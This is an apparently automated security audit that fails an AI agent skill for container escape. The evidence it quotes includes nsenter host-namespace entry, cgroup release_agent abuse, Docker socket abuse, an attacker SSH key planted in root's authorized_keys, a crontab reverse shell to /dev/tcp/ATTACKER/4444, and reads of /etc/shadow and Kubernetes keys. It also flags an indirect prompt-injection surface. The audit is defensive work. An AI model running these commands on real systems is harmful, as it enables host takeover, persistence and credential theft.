container-escape-techniques
Fail
Audited by Gen Agent Trust Hub on Nov 9, 2026
Risk Level: HIGHPRIVILEGE_ESCALATIONPERSISTENCEREMOTE_CODE_EXECUTIONDATA_EXFILTRATIONCOMMAND_EXECUTIONDYNAMIC_EXECUTIONINDIRECT_PROMPT_INJECTION
Full Analysis
- [PRIVILEGE_ESCALATION]: Provides actionable techniques to bypass container isolation and gain full root access on the host machine.
- Evidence: Use of
nsenter --target 1 --mount --uts --ipc --net --pidto enter host namespaces from a privileged container. - Evidence: Instructions for mounting host block devices (e.g.,
/dev/sda1) to the container filesystem to access host files. - [PERSISTENCE]: Includes instructions for establishing permanent access on the compromised host system.
- Evidence: Command to append attacker SSH keys to
/root/.ssh/authorized_keyson the host filesystem. - Evidence: Instructions to create crontab entries that execute a reverse shell (
bash -i >& /dev/tcp/ATTACKER/4444 0>&1) to maintain connectivity. - [REMOTE_CODE_EXECUTION]: Contains reverse shell payloads intended to create outbound connections to external infrastructure for command and control.
- Evidence: Explicit use of the
/dev/tcp/shell redirection pattern for reverse shells which allows arbitrary command execution from a remote listener. - [DATA_EXFILTRATION]: Details how to locate and read sensitive system credentials and configuration files once the container boundary is breached.
- Evidence: Commands targeting
/etc/shadow,/root/.ssh/id_rsa, and Kubernetes PKI certificates (/etc/kubernetes/pki/). - [COMMAND_EXECUTION]: Extensive use of high-risk system commands to manipulate container runtimes and kernel features.
- Evidence: Manipulation of cgroup v1
release_agentandnotify_on_releaseto trigger host-side execution. - Evidence: Abuse of the Docker socket (
/var/run/docker.sock) to spawn new privileged containers that mount the host root directory. - [DYNAMIC_EXECUTION]: Orchestrates the creation and execution of scripts at runtime to facilitate kernel-level escapes.
- Evidence: Writing shell scripts to the local filesystem (e.g.,
/cmd) which are then triggered via kernel notification handlers in cgroup escapes. - [INDIRECT_PROMPT_INJECTION]: The skill ingests untrusted environmental data and possesses high-privilege capabilities, creating a surface for indirect injection attacks.
- Ingestion points: Reads from
/proc/self/status,/etc/mtab, and the Docker socket (/var/run/docker.sock). - Boundary markers: Absent; there are no instructions to ignore embedded commands in the processed data.
- Capability inventory: Includes full subprocess execution, host filesystem writes, and network operations (reverse shells).
- Sanitization: Absent; the skill directly interpolates environment-derived data into shell commands.
Recommendations
- AI detected serious security threats
Audit Metadata